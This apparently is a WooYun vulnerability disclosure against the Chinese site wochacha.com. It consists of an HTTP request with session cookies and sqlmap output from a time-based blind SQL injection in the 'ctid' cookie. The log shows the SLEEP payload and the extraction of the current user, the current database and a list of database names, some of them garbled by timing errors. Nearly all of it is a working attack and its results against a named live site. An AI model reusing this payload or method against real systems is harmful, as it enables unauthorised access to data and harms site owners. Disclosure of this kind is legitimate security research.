WooYun.org

GET http://www.wochacha.com/ HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://www.wochacha.com/interface_getbasecity.html
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0) QQBrowser/8.2.4258.400
Accept-Encoding: gzip, deflate
Host: www.wochacha.com
Connection: Keep-Alive
Cookie: wccid=ae0a273167dc2bfe1f57fc208ca28e7b; ctid=2; ctname=%E5%8C%97%E4%BA%AC%E5%B8%82; 
Hm_lvt_f03a6dc050c95205501bd6f3ef63834c=1439689089; Hm_lpvt_f03a6dc050c95205501bd6f3ef63834c=1439689145; 
top_banner=2015%2F8%2F16

sqlmap identified the following injection points with a total of 1205 HTTP(s) re
quests:
---
Place: Cookie
Parameter: ctid
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: wccid=362ac98c111996f2257a9c8eacb0c4f0; ctid=2%' AND SLEEP(5) AND '
%'='; ctname=%E5%8C%97%E4%BA%AC%E5%B8%82; Hm_lvt_f03a6dc050c95205501bd6f3ef63834
c=1439689089; Hm_lpvt_f03a6dc050c95205501bd6f3ef63834c=1439689145; top_banner=20
15/8/16
---
[10:15:40] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.6
back-end DBMS: MySQL 5.0.11
[10:21:34] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.6
back-end DBMS: MySQL 5.0.11
[10:21:34] [INFO] fetching current user
[10:21:34] [WARNING] multi-threading is considered unsafe in time-based data ret
rieval. Going to switch it off automatically
[10:21:34] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[10:21:43] [CRITICAL] there is considerable lagging in connection response(s). P
lease use as high value for option '--time-sec' as possible (e.g. 10 or more)
[10:22:09] [INFO] heuristics detected web page charset 'ascii'
[10:22:09] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based payloads
a
current user:    'a'
[10:33:17] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.6
back-end DBMS: MySQL 5.0.11
[10:33:17] [INFO] fetching current database
[10:33:17] [WARNING] multi-threading is considered unsafe in time-based data ret
rieval. Going to switch it off automatically
[10:33:17] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[10:33:28] [INFO] heuristics detected web page charset 'ascii'
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[10:33:30] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based payloads
[10:33:42] [INFO] adjusting time delay to 2 seconds due to good response times
[10:33:47] [ERROR] invalid character detected. retrying..
[10:33:47] [WARNING] increasing time delay to 3 seconds
s
[10:34:22] [ERROR] invalid character detected. retrying..
[10:34:22] [WARNING] increasing time delay to 4 seconds
e
[10:34:59] [ERROR] invalid character detected. retrying..
[10:34:59] [WARNING] increasing time delay to 5 seconds
cu
[10:36:09] [ERROR] invalid character detected. retrying..
[10:36:09] [WARNING] increasing time delay to 6 seconds
rity
[10:38:14] [ERROR] invalid character detected. retrying..
[10:38:14] [WARNING] increasing time delay to 7 seconds
current database:    'security'
[10:40:33] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.6
back-end DBMS: MySQL 5.0.11
[10:40:33] [INFO] fetching database names
[10:40:33] [INFO] fetching number of databases
[10:40:33] [WARNING] multi-threading is considered unsafe in time-based data ret
rieval. Going to switch it off automatically
[10:40:33] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[10:40:40] [INFO] heuristics detected web page charset 'ascii'
[10:40:40] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based payloads
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
1
[10:40:59] [INFO] adjusting time delay to 2 seconds due to good response times
0
[10:41:01] [INFO] retrieved: inf
[10:42:08] [ERROR] invalid character detected. retrying..
[10:42:08] [WARNING] increasing time delay to 3 seconds
[10:42:25] [ERROR] invalid character detected. retrying..
[10:42:25] [WARNING] increasing time delay to 4 seconds
o
[10:43:23] [ERROR] invalid character detected. retrying..
[10:43:23] [WARNING] increasing time delay to 5 seconds
rmati
[10:45:47] [ERROR] invalid character detected. retrying..
[10:45:47] [WARNING] increasing time delay to 6 seconds
o
[10:46:48] [ERROR] invalid character detected. retrying..
[10:46:48] [WARNING] increasing time delay to 7 seconds
[10:47:16] [ERROR] unable to properly validate last character value ('q')..
q_
[10:47:53] [ERROR] invalid character detected. retrying..
[10:47:53] [WARNING] increasing time delay to 3 seconds
sch
[10:48:55] [ERROR] invalid character detected. retrying..
[10:48:55] [WARNING] increasing time delay to 4 seconds
ema
[10:49:46] [INFO] retrieved: gcore
[10:51:28] [INFO] retrieved: gc
[10:53:00] [ERROR] invalid character detected. retrying..
[10:53:00] [WARNING] increasing time delay to 5 seconds
oreinc
[10:55:26] [INFO] retrieved: mysq
[10:57:29] [ERROR] invalid character detected. retrying..
[10:57:29] [WARNING] increasing time delay to 6 seconds
l
[10:58:08] [INFO] retrieved:
[10:58:40] [ERROR] invalid character detected. retrying..
[10:58:40] [WARNING] increasing time delay to 7 seconds
[10:59:15] [ERROR] unable to properly validate last character value ('y')..
yecurity
[11:00:40] [ERROR] invalid character detected. retrying..
[11:00:40] [WARNING] increasing time delay to 3 seconds
[11:00:43] [INFO] retrieved: te
[11:01:44] [ERROR] invalid character detected. retrying..
[11:01:44] [WARNING] increasing time delay to 4 seconds
s
[11:02:27] [ERROR] invalid character detected. retrying..
[11:02:27] [WARNING] increasing time delay to 5 seconds
t
[11:03:15] [ERROR] invalid character detected. retrying..
[11:03:15] [WARNING] increasing time delay to 6 seconds
[11:03:26] [ERROR] invalid character detected. retrying..
[11:03:26] [WARNING] increasing time delay to 7 seconds
[11:03:29] [INFO] retrieved: thi
[11:05:49] [ERROR] unable to properly validate last character value ('y')..
ydapp
[11:06:51] [INFO] retrieved: t
[11:07:18] [ERROR] invalid character detected. retrying..
[11:07:18] [WARNING] increasing time delay to 3 seconds
rap
[11:08:17] [ERROR] invalid character detected. retrying..
[11:08:17] [WARNING] increasing time delay to 4 seconds
[11:08:33] [ERROR] invalid character detected. retrying..
[11:08:33] [WARNING] increasing time delay to 5 seconds
[11:08:36] [INFO] retrieved: wc
[11:09:51] [ERROR] invalid character detected. retrying..
[11:09:51] [WARNING] increasing time delay to 6 seconds
c
[11:10:23] [ERROR] invalid character detected. retrying..
[11:10:23] [WARNING] increasing time delay to 7 seconds
[11:10:26] [INFO] retrieved:
[11:11:13] [ERROR] unable to properly validate last character value ('|')..
|ab
[11:11:46] [ERROR] invalid character detected. retrying..
[11:11:46] [WARNING] increasing time delay to 3 seconds
bix
available databases [10]:
[*] `|abbix`
[*] gcore
[*] gcoreinc
[*] informatioq_schema
[*] mysql
[*] test
[*] thiydapp
[*] trap
[*] wcc
[*] yecurity